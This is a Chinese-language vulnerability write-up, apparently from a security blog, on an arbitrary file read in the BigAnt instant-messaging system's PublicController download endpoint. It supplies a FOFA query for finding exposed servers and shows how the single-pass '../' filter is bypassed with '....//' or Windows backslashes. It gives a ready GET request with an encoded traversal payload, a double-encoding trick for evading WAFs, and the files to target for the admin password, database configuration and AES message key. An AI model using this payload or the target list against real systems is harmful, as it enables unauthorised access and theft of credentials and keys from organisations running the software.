大蚂蚁 (BigAnt) 即时通讯系统 PublicController 任意文件读取漏洞


漏洞简介

杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 PublicController download 接口存在任意文件读取/下载漏洞,攻击者可以通过特殊的参数绕过系统限制,读取系统上任意文件内容,造成敏感内容泄露或为进一步攻击做准备。

影响版本

BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响

fofa语法

(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"

漏洞分析

直接看下 Application/Admin/Controller/PublicController.class.php 的实现逻辑

最开始的初始化部分没有权限校验,可以未授权访问。

比如访问 /?m=Admin&c=Public&a=about 获取系统版本信息

可通过访问 /Application/目录下任意php文件,如Common/Conf/config.php 报错获取应安装物理路径

再看 download() 方法的实现逻辑

public function download(){
    if(!sp_user_islogin()){
       $this->error("user is not login");
    }
    $file = I('file');
    $name = I('name') ;
    $file = urldecode($file);
    sp_download($file,$name,1) ;
}

先看 sp_user_islogin

function sp_user_islogin(){
    return isset($_SESSION['user']) ;
}

因此, 这个接口需要登录后,利用,可配置前面的权限绕过漏洞:大蚂蚁 (BigAnt) 即时通讯系统 loginByToken 逻辑错误至权限绕过漏洞或者弱口令账户、钓鱼cookie等进行组合利用。

再跟进 sp_download方法

/**
 * 此函数支持断点续传,但不支持HTTP的下载
 * @param string $path
 * @param string $name
 * @param number $isSelfRoot
 */
function sp_download($path='',$name = '',$isSelfRoot = 1){
    // 过滤 ../
    $path = str_replace("../", "", $path);

    //如果是相对路径,加上本站的地址
    if ($isSelfRoot){
       $path = $_SERVER ['DOCUMENT_ROOT'] . $path;
        //$path = $_SERVER ['HTTP_HOST'] . $path;
    }

    //取路径的文件名
    if ($name == ""){
       $info = pathinfo($path);
       $name = $info['basename'] ;
    }
    /** @var \Common\Logic\FileDownloadLogic $FileDownload */
    $FileDownload = D("Common/FileDownload",'Logic');
    $FileDownload->download($path,$name,true);
}

注意$path = str_replace("../", "", $path);的存在,因此不能进行目录穿越?

nono!因为str_replace 是非递归的,它只替换一遍!我们有两种姿势来绕过:

第一种:直接重复两遍,如/....//install.cmd str_replace替换后就变成了/../ ,从而绕过目录限制。

第二种:如果服务器是 Windows 环境,开发者只过滤了正斜杠 /,而完全忽略了反斜杠 \,使用 \..\ 即可直接绕过。

因此只要有一个普通权限,即可通过上述两种bypass姿势来绕过限制,达到任意文件读取的目的。

漏洞复现

需要注意thinkphp的路由特性,不区分大小写,且还支持如下等方式

/Admin/Public/download.html

/Admin/Public/download

GET /?m=Admin&c=Public&a=download&file=%2f%2e%2e%2e%2e%2f%2f%69%6e%73%74%61%6c%6c%2e%63%6d%64&name=README.txt HTTP/1.1
Host: bigant.mrxn.net
Cookie: PHPSESSID=xxxxx

成功读取到web根目录上一级目录下的 install.cmd文件内容。

因为$file = urldecode($file);的存在,我们还可以双重url编码参数file,达到bypass部分垃圾waf.

或者读取其他敏感文件如/Runtime/Data/ms_admin.php 它包含当前系统用户admin的密码

或者 installData.php ,包含系统数据库配置信息

或者 msg_encrypt_key.php 包含消息、文件解密aes密钥


手机扫码阅读

东胜物流软件 MsChDuiController 多个SQL注入漏洞

东胜物流软件 MsAnnounceController SQL注入漏洞

评 论